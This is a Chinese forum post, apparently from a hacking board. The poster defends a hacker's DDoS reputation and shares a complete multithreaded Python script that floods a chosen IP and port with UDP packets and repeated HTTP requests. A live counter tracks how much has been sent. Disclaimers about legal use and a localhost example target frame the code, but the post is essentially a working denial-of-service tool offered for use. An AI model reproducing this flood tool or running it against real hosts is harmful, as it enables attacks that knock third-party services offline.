TA的每日心情 | 奋斗 16 小时前 |
---|
签到天数: 83 天 [LV.6]常住居民II
|
今天我看见有人说黑客界lion只会DDoS攻击,其他啥也不会,我深感愤慨。那些人连DDoS都不会,有什么资格说lion?于是,我编写了这个能向指定IP端口发送UDP、HTTP数据包的程序,旨在助力大家提升网络技术认知,切勿将其用于任何违规、损害网络安全的行为。若该内容存在违规之处,恳请板块管理员予以删除。
import socket
import threading
import time
import sys
from datetime import datetime
# 测试统计变量(仅用于合法场景)
udp_sent = 0
http_sent = 0
http_success = 0
start_time = datetime.now()
MAX_THREADS = 5 # 自己调整线程数,避免CPU过载
def udp_test(tgt, port):
"""UDP测试优化:复用套接字+最小数据包"""
global udp_sent
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) # 复用端口,减少资源占用
data = bytes([0x00]) * 32 # 32字节最小数据包,最快传输
while True:
sock.sendto(data, (tgt, port))
udp_sent += 1
time.sleep(0.005) # 间隔压至0.005s(需根据电脑性能调整,卡顿则调大)
except Exception as e:
print(f"\nUDP测试异常: {str(e)}")
sys.exit()
def http_test(tgt, port):
"""HTTP测试优化:连接复用+简化请求"""
global http_sent, http_success
req = b"GET / HTTP/1.0\r\n\r\n" # 极简请求头,减少传输量
try:
while True:
http_sent += 1
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(0.5) # 超时间隔压至0.5s,快速释放连接
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
try:
sock.connect((tgt, port))
for _ in range(5): # 单次连接发送5次请求,提高密度
sock.sendall(req)
http_success += 1
except:
pass
finally:
sock.close()
time.sleep(0.01) # 间隔压至0.01s
except Exception as e:
print(f"\nHTTP测试异常: {str(e)}")
sys.exit()
def show_stats():
"""实时统计测试状态"""
global udp_sent, http_sent, http_success, start_time, target, port
print(f"\n=== 合法测试统计(目标:{target}:{port})===")
while True:
elapsed = (datetime.now() - start_time).total_seconds()
http_rate = http_success / http_sent if http_sent > 0 else 0
print(f"时间:{int(elapsed)}s | UDP:{udp_sent}次 | HTTP总:{http_sent}次 | HTTP成功:{http_success}次 | 成功率:{http_rate:.2%}", end="\r")
time.sleep(0.5) # 统计频率提高到0.5s/次
def start_test(tgt, port):
"""启动测试(固定5线程,本机性能上线)"""
print(f"测试启动(仅自有设备,线程数:{MAX_THREADS})")
# 启动UDP和HTTP测试线程
for _ in range(MAX_THREADS):
threading.Thread(target=udp_test, args=(tgt, port), daemon=True).start()
threading.Thread(target=http_test, args=(tgt, port), daemon=True).start()
# 启动统计线程
threading.Thread(target=show_stats, daemon=True).start()
# 主线程保持运行
try:
while True:
time.sleep(1)
except KeyboardInterrupt:
print("\n测试已手动停止")
sys.exit(0)
if __name__ == "__main__":
# 仅允许测试自己的设备(如专业合法靶场,或同一WiFi下自有电脑IP)
target = "127.0.0.1" # 替换为合法目标IP(必须是自己的设备,这里示例用本地回环地址)
port = 80 # 替换为目标服务端口(需提前在目标设备搭建服务,这里示例用80端口)
# 检查目标合法性(仅作提醒,需用户自行确保)
# 这里简单示例,实际可根据需求完善检查逻辑
print("请确保测试目标是您自己拥有合法权限的设备!")
start_test(target, port) |
|